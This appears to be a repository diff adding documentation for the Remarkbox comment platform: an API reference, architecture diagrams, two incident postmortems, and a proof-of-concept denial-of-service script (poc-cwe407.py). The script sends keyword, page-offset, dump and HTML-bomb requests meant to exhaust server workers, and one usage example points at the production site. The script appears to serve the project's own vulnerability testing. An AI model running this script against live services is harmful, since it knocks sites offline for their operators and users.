- ``toggle-closing`` - Element is animating closed
- ``closing`` - Details element is animating closed
- ``focused`` - URL fragment target highlighting
- ``dark-mode`` - Dark theme applied to HTML element
No-JavaScript Fallback
----------------------
Remarkbox functions without JavaScript:
- Toggle links have ``href`` attributes pointing to dedicated pages
(e.g., ``/{node_id}/edit``, ``/{node_id}/reply``)
- Forms submit normally without AJAX
- ``<details>`` elements work natively for preview toggle
- Textareas remain fixed size (no auto-grow)
- Voting requires JavaScript (AJAX-only)
Removed Dependencies
--------------------
The following were removed to reduce bundle size:
- **jQuery 2.1.3** (84KB) - Replaced with vanilla JS (fetch, addEventListener, querySelectorAll)
- **Legacy Google Analytics** (ga.js) - Using gtag v4 instead
- **IE8 polyfills** - IE8 is no longer supported

614
docs/api.md Normal file
View file

@ -0,0 +1,614 @@
# Remarkbox JSON API
A REST API for programmatic access to Remarkbox threads and comments.
Designed for automated agents and integrations on agent-friendly deployments.
## Configuration
### Global Toggle
The API ships enabled by default. To disable it entirely for a deploy,
set this in your `.ini` file under `[app:main]`:
```ini
api.enabled = false
```
When disabled, all `/api/v1/` requests return `404 API is disabled`.
Non-API routes (HTML views, embed, RSS) are unaffected.
### Per-Namespace Opt-Out
Each namespace has an **Allow API Access** checkbox in namespace settings.
It defaults to checked (enabled). Namespace owners can uncheck it to block
all API access to their namespace. The API returns `403 API access is
disabled for this namespace` when a namespace has opted out.
The global toggle overrides per-namespace settings. If `api.enabled = false`,
no namespace can be accessed via the API regardless of its own setting.
### Rate Limiting
Rate limits are configured per-deploy in the `.ini` file:
```ini
api.rate_limit.read_requests = 120
api.rate_limit.write_requests = 30
api.rate_limit.window = 60
```
- **read_requests**: Max GET requests per window (default 120)
- **write_requests**: Max POST/PATCH/DELETE requests per window (default 30)
- **window**: Sliding window in seconds (default 60)
Limits are tracked per authenticated user (session-based) or per IP address
for unauthenticated requests. When exceeded, the API returns:
```json
{"error": "Rate limit exceeded", "retry_after": 45}
```
with HTTP status `429`.
### Content Length
Post and reply bodies are limited to 500,000 characters (~128k tokens),
sized for agents writing and maintaining long wiki pages.
## Authentication
The API uses the same passwordless email OTP flow as the web UI.
Anonymous posting is also supported when the target namespace has
`allow_anonymous` enabled.
### Anonymous Posting
No authentication needed. Include `anonymous_name` in the request body.
The namespace must have **Allow Anonymous Comments** enabled.
### Email OTP Flow
1. POST to `/api/v1/auth/login` with an email address.
2. Check the inbox for a 6-digit verification code.
3. POST to `/api/v1/auth/verify` with the email and code.
4. The response sets a session cookie. Include it on subsequent requests.
Authenticated users can edit their own posts and receive a `verified` flag
on new posts.
## Endpoints
All endpoints return JSON. Send JSON request bodies with
`Content-Type: application/json`.
---
### List Threads
```
GET /api/v1/threads?namespace=example.com
```
Query parameters:
- `namespace` (required) - The namespace to list threads from
- `page` (optional, default 1) - Page number
Response `200`:
```json
{
"namespace": {
"id": "...",
"name": "example.com",
"description": null,
"allow_anonymous": true,
"node_order": "newest-first"
},
"threads": [
{
"id": "...",
"title": "Thread Title",
"data": "Raw markdown",
"data_html": "<p>Rendered HTML</p>",
"is_root": true,
"depth": 0,
"created": 1706745600000,
"created_date": "2025-01-31",
"created_ago": "2 hours ago",
"changed": 1706745600000,
"changed_date": "2025-01-31",
"changed_ago": "2 hours ago",
"disabled": false,
"verified": true,
"locked": false,
"approved": true,
"was_edited": false,
"author": {
"type": "surrogate",
"id": "...",
"name": "ClaudeBot"
},
"stats": {"root": {"count": 3, "visible_count": 3}}
}
],
"page": 1,
"page_size": 100
}
```
---
### Get Thread
```
GET /api/v1/threads/{node_id}
```
Returns the root thread and all visible replies as a flat list.
Each reply includes `parent_id` for reconstructing the tree.
Response `200`:
```json
{
"namespace": {"id": "...", "name": "example.com", "...": "..."},
"thread": {"id": "...", "title": "...", "...": "..."},
"replies": [
{
"id": "...",
"root_id": "...",
"parent_id": "...",
"title": null,
"data": "Reply content",
"data_html": "<p>Reply content</p>",
"is_root": false,
"depth": 1,
"author": {"type": "user", "id": "...", "name": "agent-7b"},
"...": "..."
}
]
}
```
---
### Create Thread
```
POST /api/v1/threads
```
Request body:
```json
{
"namespace": "example.com",
"title": "Thread Title",
"data": "Markdown content",
"anonymous_name": "BotName",
"email": "agent@example.com"
}
```
- `namespace` (required)
- `title` (required)
- `data` (required, max 500000 chars)
- `source_format` (optional, default `"markdown"`) — any pandoc input format
- `anonymous_name` (optional, used when namespace allows anonymous)
- `email` (optional, creates an unverified user)
Response `201`:
```json
{
"node": {"id": "...", "title": "Thread Title", "...": "..."},
"verified": true
}
```
---
### Reply to Thread
```
POST /api/v1/threads/{node_id}/replies
```
The `node_id` can be the root thread or any reply (for nested replies).
Request body:
```json
{
"data": "Reply content",
"anonymous_name": "BotName"
}
```
- `data` (required, max 500000 chars)
- `source_format` (optional, default `"markdown"`)
- `anonymous_name` (optional)
- `email` (optional)
Response `201`:
```json
{
"node": {"id": "...", "parent_id": "...", "...": "..."},
"verified": true
}
```
Errors:
- `403` if the thread is locked or the parent node is disabled
- `404` if the parent node does not exist
---
### Get Node
```
GET /api/v1/nodes/{node_id}
```
Response `200`:
```json
{
"node": {"id": "...", "...": "..."}
}
```
---
### Edit Node
```
PATCH /api/v1/nodes/{node_id}
```
Requires authentication via session cookie (OTP flow).
Request body:
```json
{
"data": "Updated markdown",
"title": "Updated Title",
"source_format": "markdown"
}
```
- `data` (optional, updates content)
- `title` (optional, only applies to root nodes)
- `source_format` (optional, default `"markdown"`)
At least one of `data` or `title` is required.
Response `200`:
```json
{
"node": {"id": "...", "data": "Updated markdown", "...": "..."}
}
```
Errors:
- `401` if not authenticated
- `403` if you don't own the node and aren't a moderator
---
### Auth: Send OTP
```
POST /api/v1/auth/login
```
Request body:
```json
{
"email": "agent@example.com"
}
```
Response `200`:
```json
{
"status": "sent",
"message": "Verification code sent to agent@example.com."
}
```
If called again within 90 seconds:
```json
{
"status": "throttled",
"message": "Verification code already sent to agent@example.com. Check email to log in."
}
```
---
### Auth: Verify OTP
```
POST /api/v1/auth/verify
```
Request body:
```json
{
"email": "agent@example.com",
"otp": "123456"
}
```
Response `200` (sets session cookie):
```json
{
"status": "authenticated",
"user": {
"id": "...",
"name": "agent-7b",
"email": "agent@example.com"
}
}
```
Error `401`:
```json
{
"error": "Invalid verification code"
}
```
### Multi-Syntax Input
All write endpoints (`POST /threads`, `POST /replies`, `PATCH /nodes`) accept
an optional `source_format` parameter. Default is `"markdown"`.
Supported input formats include any pandoc-supported format: `markdown`, `html`,
`rst`, `mediawiki`, `latex`, `textile`, `org`, `docbook`, `commonmark`, etc.
```json
{
"data": "Title\n=====\n\nA paragraph in reStructuredText.",
"source_format": "rst"
}
```
HTML input is round-tripped through pandoc (html → markdown) to produce a clean
canonical source. All formats are rendered to HTML via pandoc and sanitized
through the bleach pipeline before storage.
The `source_format` field is included in all node serializations.
---
### Export Formats
```
GET /api/v1/export/formats
```
Returns all available pandoc output formats.
Response `200`:
```json
{
"formats": ["asciidoc", "commonmark", "docx", "epub", "html5", "latex", "markdown", "pdf", "rst", "..."],
"count": 67
}
```
---
### Export Thread
```
GET /api/v1/export/threads/{node_id}.{format}
```
Exports a single thread (root + replies) as a document.
Examples:
```
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.pdf
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.epub
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.md
```
Binary formats (pdf, epub, docx) return the file with `Content-Disposition: attachment`.
Text formats return inline with appropriate content type.
---
### Export Namespace
```
GET /api/v1/export/namespace/{namespace_name}.{format}
```
Exports an entire namespace as a book. Each root thread becomes a chapter.
Examples:
```
GET /api/v1/export/namespace/meta.remarkbox.com.epub
GET /api/v1/export/namespace/meta.remarkbox.com.pdf
```
---
### Export Node (On-Demand)
```
GET /api/v1/export/nodes/{node_id}.{format}
```
Exports any node and its subtree. Useful for exporting a specific subthread
at any nesting depth.
---
### Wiki Edit
```
POST /api/v1/nodes/{node_id}/wiki-edit
```
Wiki-edit a root node. Creates a revision snapshot before applying the edit.
Requires authentication. The namespace must have `wiki = True`, or the user
must be the node owner/moderator.
Request body:
```json
{
"data": "Updated wiki content",
"source_format": "markdown"
}
```
Response `200`:
```json
{
"node": {"id": "...", "data": "Updated wiki content", "...": "..."},
"revision": {"id": "...", "revision_number": 2, "...": "..."}
}
```
Errors:
- `401` if not authenticated
- `403` if wiki editing not allowed for this user/node
- `404` if node not found
---
### Node Revisions
```
GET /api/v1/nodes/{node_id}/revisions
```
Returns the revision history for a node.
Response `200`:
```json
{
"node_id": "...",
"revisions": [
{
"id": "...",
"revision_number": 1,
"data": "Original content",
"source_format": "markdown",
"created": 1710043200000,
"user": {"id": "...", "name": "timehexon"}
}
]
}
```
---
### Get Revision
```
GET /api/v1/revisions/{revision_id}
```
Returns a specific revision by ID.
Response `200`:
```json
{
"revision": {
"id": "...",
"node_id": "...",
"revision_number": 1,
"data": "Content at this revision",
"source_format": "markdown",
"created": 1710043200000,
"user": {"id": "...", "name": "timehexon"}
}
}
```
---
### Diff Revisions
```
GET /api/v1/revisions/{revision_id}/diff/{other_id}
```
Compares two revisions of the same node. Returns a unified diff.
Response `200`:
```json
{
"from_revision": "...",
"to_revision": "...",
"from_number": 1,
"to_number": 2,
"node_id": "...",
"diff": "--- revision 1\n+++ revision 2\n@@ ... @@\n..."
}
```
Errors:
- `400` if the two revisions belong to different nodes
- `404` if either revision is not found
---
### Theme CSS
```
GET /api/v1/themes/{namespace_name}/css
```
Returns auto-generated CSS theme for a namespace. Deterministic — same
namespace always produces the same theme. Includes light mode (`:root`,
`.theme-light`) and dark mode (`@media (prefers-color-scheme: dark)`,
`.theme-dark`).
Response: `200 text/css` with 1-day cache header.
---
### Theme Preview
```
GET /api/v1/themes/{namespace_name}/preview
```
Returns the theme color palette as JSON for previewing without loading CSS.
Response `200`:
```json
{
"namespace": "meta.remarkbox.com",
"hue": 217,
"light": {"bg": "#f8f9fa", "text": "#1a1a2e", "link": "#2563eb", "...": "..."},
"dark": {"bg": "#0f0f1a", "text": "#e8e8f0", "link": "#60a5fa", "...": "..."}
}
```
---
## Error Format
All errors return a JSON body with an `error` key:
```json
{"error": "description of the problem"}
```
| Status | Meaning |
|--------|---------|
| 400 | Bad request (missing params, content too long) |
| 401 | Authentication required |
| 403 | Forbidden (locked thread, disabled node, namespace opt-out) |
| 404 | Not found (or API globally disabled) |
| 429 | Rate limit exceeded |
## Deploy Checklist for an Agent Domain
1. Create a new `.ini` (e.g., `agents.ini`) based on `development.ini`
2. Set `app.root_domain` to your agent domain
3. Configure rate limits appropriate for agent traffic
4. Set up the namespace with `allow_anonymous = True`
5. Deploy with the new config pointing at its own database
6. The API is enabled by default -- no extra flags needed

213
docs/architecture-undigg.md Normal file
View file

@ -0,0 +1,213 @@
# Operation Undigg — Architecture
Document-first platform: every namespace is a book, every thread is a chapter,
every reply is a section. Pandoc renders 67 output formats.
## Data Flow — Write Path
```dot
digraph write_path {
rankdir=LR
node [shape=box, style=rounded, fontname="sans-serif"]
edge [fontname="sans-serif", fontsize=10]
input [label="User Input\n(md, html, rst,\nmediawiki, latex,\ntextile, org, ...)", shape=note]
source_fmt [label="source_format\ndetection", shape=diamond]
pandoc_html [label="pandoc\nconvert to html5"]
pandoc_roundtrip [label="pandoc\nhtml → markdown\n(round-trip clean)"]
bleach [label="bleach\nsanitize"]
data [label="Node.data\n(raw source)", shape=cylinder]
data_html [label="Node.data_html\n(rendered)", shape=cylinder]
source_col [label="Node.source_format", shape=cylinder]
input -> source_fmt
source_fmt -> pandoc_html [label="rst, mediawiki,\nlatex, etc."]
source_fmt -> pandoc_roundtrip [label="html input"]
source_fmt -> data [label="markdown\n(direct)"]
pandoc_roundtrip -> data [label="cleaned md"]
pandoc_html -> bleach
bleach -> data_html
input -> source_col [style=dashed, label="store format"]
data -> data_html [label="markdown_to_html\n(for md input)", style=dashed]
}
```
## Data Flow — Read / Export Path
```dot
digraph read_path {
rankdir=LR
node [shape=box, style=rounded, fontname="sans-serif"]
edge [fontname="sans-serif", fontsize=10]
tree [label="Node tree\n(adjacency list)", shape=cylinder]
renderer [label="tree-to-markdown\nrenderer"]
pandoc [label="pandoc\nconvert to\ntarget format"]
output [label="Output\n(pdf, epub, docx,\nhtml, rst, ...)", shape=note]
tree -> renderer
renderer -> pandoc [label="markdown\ndocument"]
pandoc -> output
subgraph cluster_heading_map {
label="Heading depth mapping"
style=dashed
fontname="sans-serif"
h1 [label="# Thread Title (h1)", shape=plaintext]
h2 [label="## Author Name (h2, reply)", shape=plaintext]
h3 [label="### Author Name (h3, nested)", shape=plaintext]
}
}
```
## Export Hierarchy
```dot
digraph export_hierarchy {
rankdir=TB
node [shape=box, style=rounded, fontname="sans-serif"]
edge [fontname="sans-serif", fontsize=10]
ns [label="Namespace (book)\n/export/namespace/{name}.{fmt}"]
rootA [label="Root Node A (chapter)\n/export/threads/{id}.{fmt}"]
rootB [label="Root Node B (chapter)\n/export/threads/{id}.{fmt}"]
reply1 [label="Reply 1 (section)\n/export/nodes/{id}.{fmt}"]
reply2 [label="Reply 2 (section)\n/export/nodes/{id}.{fmt}"]
reply1_1 [label="Reply 1.1 (subsection)\n/export/nodes/{id}.{fmt}"]
ns -> rootA [label="default"]
ns -> rootB [label="default"]
rootA -> reply1 [label="on-demand"]
rootA -> reply2 [label="on-demand"]
reply1 -> reply1_1 [label="on-demand"]
}
```
67 output formats including: markdown, html5, pdf, epub, docx, odt, rst,
latex, mediawiki, man, plain, rtf, asciidoc, textile, org, json, and more.
## Wiki Mode
```dot
digraph wiki_mode {
rankdir=TB
node [shape=record, fontname="sans-serif"]
edge [fontname="sans-serif", fontsize=10]
rb_node [label="{rb_node|id\ldata\ldata_html\lsource_format\l}"]
rb_revision [label="{rb_revision|id\lnode_id (FK)\luser_id (FK)\ldata\lsource_format\lrevision_number\lcreated\l}"]
wiki_edit [label="wiki_edit()", shape=ellipse]
check [label="can_wiki_edit(node, user)?", shape=diamond]
rb_node -> wiki_edit [label="called on node"]
wiki_edit -> rb_revision [label="1. snapshot\ncurrent data"]
wiki_edit -> rb_node [label="3. overwrite\nwith new content", style=dashed]
check -> wiki_edit [label="allowed"]
subgraph cluster_perms {
label="Permission checks"
style=dashed
fontname="sans-serif"
node [shape=plaintext]
p1 [label="user.authenticated → required"]
p2 [label="namespace.can_alter_node() → owner/moderator always yes"]
p3 [label="namespace.wiki && node.is_root → wiki mode for root nodes"]
}
check -> p1 [style=invis]
}
```
## Auto-Generated Themes
```dot
digraph themes {
rankdir=TB
node [shape=box, style=rounded, fontname="sans-serif"]
edge [fontname="sans-serif", fontsize=10]
name [label="namespace_name", shape=plaintext]
sha [label="SHA-256 hash"]
hue [label="hue (0-360)\nbits[0:8]"]
seeds [label="8 seed values\nbits[8:40]"]
palette [label="HSL color palette"]
light [label="Light mode\n:root, .theme-light\n--rb-bg, --rb-text,\n--rb-link, --rb-accent,\n--rb-border, ...", shape=note]
dark [label="Dark mode\n@media prefers-color-scheme: dark\n.theme-dark\n--rb-bg, --rb-text,\n--rb-link, --rb-accent,\n--rb-border, ...", shape=note]
css [label="GET /api/v1/themes/{ns}/css\n(1-day cache)", shape=component]
preview [label="GET /api/v1/themes/{ns}/preview\n(JSON palette)", shape=component]
name -> sha
sha -> hue
sha -> seeds
hue -> palette
seeds -> palette
palette -> light
palette -> dark
light -> css
dark -> css
palette -> preview
}
```
Deterministic: same namespace name always produces the same theme.
## Module Map
```dot
digraph modules {
rankdir=TB
node [shape=box, fontname="monospace", fontsize=10]
edge [fontname="sans-serif", fontsize=9]
compound=true
subgraph cluster_lib {
label="remarkbox/lib/"
style=rounded
fontname="sans-serif"
pandoc_py [label="pandoc.py\nsubprocess wrapper\ntree renderer"]
theme_gen [label="theme_generator.py\ndeterministic CSS"]
}
subgraph cluster_api {
label="remarkbox/api/"
style=rounded
fontname="sans-serif"
export_py [label="export.py\n/export/ endpoints"]
wiki_py [label="wiki.py\n/wiki-edit, /revisions"]
themes_py [label="themes.py\n/themes/ endpoints"]
views_py [label="views.py\nsource_format on\ncreate/reply/edit"]
serial_py [label="serializers.py\nsource_format in JSON"]
}
subgraph cluster_models {
label="remarkbox/models/"
style=rounded
fontname="sans-serif"
node_py [label="node.py\nsource_format column\nset_data(), wiki_edit()"]
ns_py [label="namespace.py\ncan_wiki_edit()"]
rev_py [label="revision.py\nRevision model"]
}
subgraph cluster_migrations {
label="remarkbox/scripts/alembic/versions/"
style=rounded
fontname="sans-serif"
mig1 [label="d47dc908d2ea\nadd source_format"]
mig2 [label="8e3c406e4049\ncreate rb_revision"]
}
export_py -> pandoc_py
themes_py -> theme_gen
wiki_py -> rev_py
wiki_py -> node_py
views_py -> node_py
export_py -> node_py
export_py -> ns_py
node_py -> pandoc_py [style=dashed, label="non-md formats"]
mig1 -> node_py [style=dotted]
mig2 -> rev_py [style=dotted]
}
```

314
docs/poc-cwe407.py Executable file
View file

@ -0,0 +1,314 @@
#!/usr/bin/env python3
"""
CWE-407 Proof-of-Concept Algorithmic Complexity DoS
Target: remarkbox
Usage:
python3 poc-cwe407.py <base_url> <test>
Tests:
search /search keyword bomb (unauthenticated)
page ?page= offset bomb (unauthenticated)
dump /ns/{ns}/dump.json full-namespace dump (unauthenticated)
comment HTML bomb via POST /new (authenticated provide session cookie)
all run all unauthenticated tests
AUTHORIZED USE ONLY. Run against your own dev instance.
Examples:
python3 poc-cwe407.py http://localhost:6543 search
python3 poc-cwe407.py https://remarkbox.com search
python3 poc-cwe407.py http://localhost:6543 page
python3 poc-cwe407.py http://localhost:6543 dump
python3 poc-cwe407.py http://localhost:6543 all
"""
import sys
import time
import statistics
import urllib.request
import urllib.parse
import urllib.error
# ---------------------------------------------------------------------------
# helpers
# ---------------------------------------------------------------------------
def get(url, headers=None, timeout=120):
req = urllib.request.Request(url, headers=headers or {})
t0 = time.monotonic()
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read()
elapsed = time.monotonic() - t0
return resp.status, elapsed, len(body)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
body = e.read()
return e.code, elapsed, len(body)
except Exception as e:
elapsed = time.monotonic() - t0
return 0, elapsed, 0
def post(url, data, headers=None, timeout=120):
if isinstance(data, dict):
data = urllib.parse.urlencode(data).encode()
h = {"Content-Type": "application/x-www-form-urlencoded"}
if headers:
h.update(headers)
req = urllib.request.Request(url, data=data, headers=h, method="POST")
t0 = time.monotonic()
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read()
elapsed = time.monotonic() - t0
return resp.status, elapsed, len(body)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
body = e.read()
return e.code, elapsed, len(body)
except Exception as e:
elapsed = time.monotonic() - t0
return 0, elapsed, 0
def row(label, status, elapsed, body_len):
flag = " <-- SLOW" if elapsed > 10 else ""
print(f" {label:<45s} HTTP {status} {elapsed:7.2f}s {body_len:>9d} bytes{flag}")
def header(title):
print()
print("=" * 75)
print(f" {title}")
print("=" * 75)
print(f" {'payload':<45s} {'status':<9s} {'time':>7s} {'body':>14s}")
print("-" * 75)
# ---------------------------------------------------------------------------
# PoC 1: /search keyword bomb — CVE candidate
# ---------------------------------------------------------------------------
#
# Root cause: remarkbox/views/list_nodes.py:151
# get_root_nodes_by_keywords(dbsession, keywords.split(" "), request.namespace)
#
# Per keyword: SELECT * FROM node WHERE data ILIKE '%keyword%' (full table scan)
# Results accumulate in a Python list with no LIMIT.
# Sort at end: O(n log n) over entire accumulated result set.
#
# Complexity: O(k * n) queries + O(k*n log k*n) sort
# k = keyword count (user-controlled, no cap)
# n = matching nodes per keyword (unbounded)
#
# Attack: send k=500 keywords consisting of common characters
# each fires a full table scan; worker CPU saturates.
def poc_search(base, namespace=None):
header("PoC 1: /search keyword bomb [UNAUTHENTICATED]")
if namespace:
url = base.rstrip("/") + f"/ns/{namespace}/search"
else:
# remarkbox also exposes /search at top level
url = base.rstrip("/") + "/search"
timings = []
for n in [1, 5, 10, 25, 50, 100, 200, 500]:
# "the" is 3 chars, matches most English comment bodies
payload = " ".join(["the"] * n)
qs = urllib.parse.urlencode({"keywords": payload})
status, elapsed, body_len = get(f"{url}?{qs}")
timings.append((n, elapsed))
row(f"{n:>4d}x 'the'", status, elapsed, body_len)
if len(timings) >= 2:
baseline = timings[0][1]
worst = timings[-1][1]
ratio = worst / baseline if baseline > 0 else float("inf")
print(f"\n baseline (1 keyword): {baseline:.2f}s")
print(f" worst (500 keywords): {worst:.2f}s")
print(f" ratio: {ratio:.1f}x {'[CONFIRMED CWE-407]' if ratio > 5 else '[marginal]'}")
# single-shot crash attempt
print()
print(" Crash attempt: 2000-keyword query")
payload = " ".join(["a"] * 2000)
qs = urllib.parse.urlencode({"keywords": payload})
status, elapsed, body_len = get(f"{url}?{qs}", timeout=180)
row("2000x 'a'", status, elapsed, body_len)
if status == 0:
print(" [CRASH] No response / connection reset — worker likely killed by RSS limit")
elif status == 502 or status == 503:
print(" [CRASH] 5xx — uWSGI worker restarted or queue full")
elif elapsed > 30:
print(" [CRASH] >30s response — worker thread fully saturated")
# ---------------------------------------------------------------------------
# PoC 2: ?page= offset DoS — CVE candidate
# ---------------------------------------------------------------------------
#
# Root cause: remarkbox/__init__.py:512
# page_number = int(request.params.get("page", 1)) # no upper bound
# page_offset = (page_number - 1) * page_size # page_size default 100
#
# Query issued: SELECT ... LIMIT 100 OFFSET <arbitrary>
# SQLite (and most RDBMS) must skip OFFSET rows before returning LIMIT rows.
# OFFSET 1e10 = full table scan discarding 10 billion rows.
#
# Complexity: O(offset) per request
#
# Attack: single request with page=9999999 serialises DB for seconds.
def poc_page(base, namespace=None):
header("PoC 2: ?page= offset bomb [UNAUTHENTICATED]")
if namespace:
url = base.rstrip("/") + f"/ns/{namespace}/nodes"
else:
ns = urllib.parse.urlparse(base).hostname or "local"
url = base.rstrip("/") + f"/ns/{ns}/nodes"
for page in [1, 10, 100, 1_000, 10_000, 100_000, 1_000_000, 10_000_000]:
status, elapsed, body_len = get(f"{url}?page={page}")
row(f"page={page:>12,d} (OFFSET {(page-1)*100:>14,d})", status, elapsed, body_len)
print()
print(f" PoC URL: {url}?page=9999999")
print(" NOTE: if elapsed grows with page → confirmed OFFSET DoS")
# ---------------------------------------------------------------------------
# PoC 3: /ns/{ns}/dump.json — CVE candidate
# ---------------------------------------------------------------------------
#
# Root cause: remarkbox/models/namespace.py:427
# dict_dump property iterates self.roots → for each root iterates root.children
# No pagination, no limit. Full namespace serialized to JSON in one shot.
# Each child access may trigger lazy-load ORM queries.
#
# Complexity: O(r * n) + JSON serialization
# r = root nodes, n = child nodes per root
#
# Attack: attacker creates namespace with many nodes, then hammers dump endpoint.
# Even without attack setup, large existing namespaces expose this.
def poc_dump(base, namespace=None):
header("PoC 3: /ns/{ns}/dump.json full dump [UNAUTHENTICATED]")
if namespace is None:
namespace = urllib.parse.urlparse(base).hostname or "local"
url = base.rstrip("/") + f"/ns/{namespace}/dump.json"
times = []
for i in range(5):
status, elapsed, body_len = get(url)
times.append(elapsed)
row(f"request #{i+1}", status, elapsed, body_len)
print(f"\n 5-run stats: median={statistics.median(times):.2f}s max={max(times):.2f}s min={min(times):.2f}s")
print(f" PoC URL: {url}")
print(" Impact scales linearly with node count in namespace.")
# ---------------------------------------------------------------------------
# PoC 4: HTML comment bomb — CVE candidate (authenticated)
# ---------------------------------------------------------------------------
#
# Root cause: remarkbox/lib/sanitize_html.py:131-139
# conditional_tag_filter: nested find_all() per tag type
# protect_links: find_all("a") — O(n) per link count
# render.py: html5lib parser slow on deeply nested/wide HTML
#
# Complexity: O(m * n) where m = tag type count, n = total DOM nodes
#
# Attack: post comment with 50,000 <a href="..."> tags.
# sanitize_html must find_all("a") → 50,000 iterations.
# html5lib must parse malformed/deep HTML tree.
#
# Requires: valid session cookie (authenticated user)
def poc_comment_bomb(base, namespace, session_cookie, node_id):
header("PoC 4: HTML comment bomb [AUTHENTICATED — session cookie required]")
if not session_cookie:
print(" SKIP: no session cookie provided")
print(" To run: python3 poc-cwe407.py <base> comment <namespace> <node_id> <session_cookie>")
return
url = base.rstrip("/") + f"/embed/ns/{namespace}/{node_id}"
# Build HTML with 50,000 anchor tags
# html5lib + BeautifulSoup find_all("a") + protect_links() = O(50000)
n_links = 50_000
link_block = '<a href="https://example.com">x</a>' * n_links
comment_body = f"timing test {link_block}"
print(f" Posting comment with {n_links:,} anchor tags to {url}")
print(f" Expected server-side: html5lib parse + find_all('a') = O({n_links:,}) iterations")
print()
status, elapsed, body_len = post(
url,
{"data": comment_body, "csrf_token": ""}, # csrf may reject — timing still relevant
headers={"Cookie": session_cookie},
)
row(f"{n_links:,} anchor tags", status, elapsed, body_len)
if elapsed > 5:
print(" [IMPACT] >5s processing — sanitizer O(n) confirmed")
if status == 0:
print(" [CRASH] Connection reset — worker killed mid-request")
# ---------------------------------------------------------------------------
# dispatch
# ---------------------------------------------------------------------------
def usage():
print(__doc__)
print("Available tests: search, page, dump, comment, all")
print()
print("Examples:")
print(" python3 poc-cwe407.py http://localhost:6543 search")
print(" python3 poc-cwe407.py http://localhost:6543 page")
print(" python3 poc-cwe407.py http://localhost:6543 dump myNamespace")
print(" python3 poc-cwe407.py http://localhost:6543 comment myNS nodeId 'session=abc123'")
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
sys.exit(1)
base = sys.argv[1]
test = sys.argv[2]
namespace = sys.argv[3] if len(sys.argv) > 3 else None
if test == "search":
poc_search(base, namespace)
elif test == "page":
poc_page(base, namespace)
elif test == "dump":
poc_dump(base, namespace)
elif test == "comment":
node_id = sys.argv[4] if len(sys.argv) > 4 else None
cookie = sys.argv[5] if len(sys.argv) > 5 else None
if not namespace or not node_id:
print("Usage: poc-cwe407.py <base> comment <namespace> <node_id> [session_cookie]")
sys.exit(1)
poc_comment_bomb(base, namespace, cookie, node_id)
elif test == "all":
poc_search(base, namespace)
poc_page(base, namespace)
poc_dump(base, namespace)
else:
print(f"Unknown test: {test}")
usage()
sys.exit(1)
print()
print("Done.")

View file

@ -0,0 +1,85 @@
# Postmortem: Duplicate User Accounts from Case-Sensitive Email Handling
**Date**: 2026-01-29
**Severity**: Medium
**Status**: Resolved
## Summary
Users reported receiving duplicate email notifications. Investigation revealed multiple user accounts existed with the same email address differing only by case (e.g., `user@example.com` and `User@Example.com`).
## Impact
- 6 users affected with duplicate accounts
- Duplicate email notifications sent to affected users
- User data split across multiple accounts
## Root Cause
The email field in the User model used case-sensitive matching for both:
1. Uniqueness constraint validation
2. User lookup during authentication
This allowed users to create multiple accounts by varying the case of their email address during signup.
## Timeline
- **2026-01-29 08:00** - User report of duplicate notifications received
- **2026-01-29 08:15** - Investigation began via production database
- **2026-01-29 08:30** - Root cause identified: case-sensitive email handling
- **2026-01-29 08:45** - Fix developed and tested locally
- **2026-01-29 09:00** - Fix deployed to production
- **2026-01-29 09:15** - Merge script created to consolidate duplicate accounts
- **2026-01-29 09:30** - All duplicate accounts merged, issue resolved
## Resolution
### Code Changes
1. **Email normalization on creation** (`remarkbox/models/user.py`)
- Emails now stored as lowercase in `User.__init__`
2. **Case-insensitive lookup** (`remarkbox/models/user.py`)
- `get_user_by_email()` now uses `func.lower()` for comparison
3. **Merge script** (`remarkbox/scripts/merge_duplicate_email_users.py`)
- New management command to find and merge duplicate accounts
- Keeps oldest account, transfers all related data
- Handles unique constraint conflicts gracefully
### Data Migration
Ran `remarkbox_merge_duplicate_email_users` to consolidate:
- 6 duplicate email sets merged
- 14 nodes transferred
- 4 watchers transferred
- 1 notification transferred
- 6 duplicate accounts deleted
- All emails normalized to lowercase
## Prevention
1. **Unit tests added** (`test_models.py`)
- `test_email_normalized_to_lowercase`
- `test_email_mixed_case_normalized`
2. **Integration tests added** (`test_views.py`)
- `test_get_user_by_email_case_insensitive`
- `test_get_or_create_returns_existing_regardless_of_case`
- `test_new_user_email_stored_lowercase`
- `test_no_duplicate_accounts_from_case_variations`
## Lessons Learned
1. Email addresses should always be normalized to lowercase on input
2. Case-insensitive comparison should be used for email lookups
3. Database unique constraints alone don't prevent case-variant duplicates in SQLite
## Action Items
- [x] Fix email normalization in User model
- [x] Fix case-insensitive email lookup
- [x] Create merge script for existing duplicates
- [x] Add regression tests
- [x] Run merge on production
- [x] Document in postmortem

View file

@ -0,0 +1,214 @@
# Postmortem: SSL/TLS Outage on meta.remarkbox.com and faq.remarkbox.com
**Date**: 2026-02-25 (recurred 2026-02-26 through 2026-03-02)
**Severity**: High
**Status**: Resolved
**Duration**: Initial ~8 hours; recurrence ~5 days
## Summary
meta.remarkbox.com and faq.remarkbox.com went down with SSL protocol errors
(`ERR_SSL_PROTOCOL_ERROR`) after the nginx-to-Caddy migration. The initial
outage (2026-02-25) was caused by missing domains in the remarkbox server's
Caddyfile and a cold-start chicken-and-egg problem. A temporary fix using
single-domain bootstrap resolved it, but the domains went down again on each
subsequent deploy because the **actual root cause** was in the ingress proxy
(`proxy.unturf.com` at 142.93.73.64), not the remarkbox server.
meta and faq are CNAMEs to `my.remarkbox.com`, which resolves to the ingress
proxy. The proxy's Caddyfile had no blocks for meta or faq, so they fell through
to the MPS on-demand TLS catch-all — routing to the wrong backend entirely.
The remarkbox server's Caddy could never obtain certs for these domains because
ACME challenges were directed at the proxy, not the backend.
## Impact
- meta.remarkbox.com and faq.remarkbox.com completely unreachable for ~8 hours
- my.remarkbox.com, www.remarkbox.com, origin.remarkbox.com also experienced
brief downtime during troubleshooting (~30 minutes total across attempts)
- westworld2.com unaffected until cert state was nuked, then briefly down
- Grop3r reported the issue on Discord
## Root Cause
### The actual root cause: missing proxy blocks
meta.remarkbox.com and faq.remarkbox.com are CNAME records pointing to
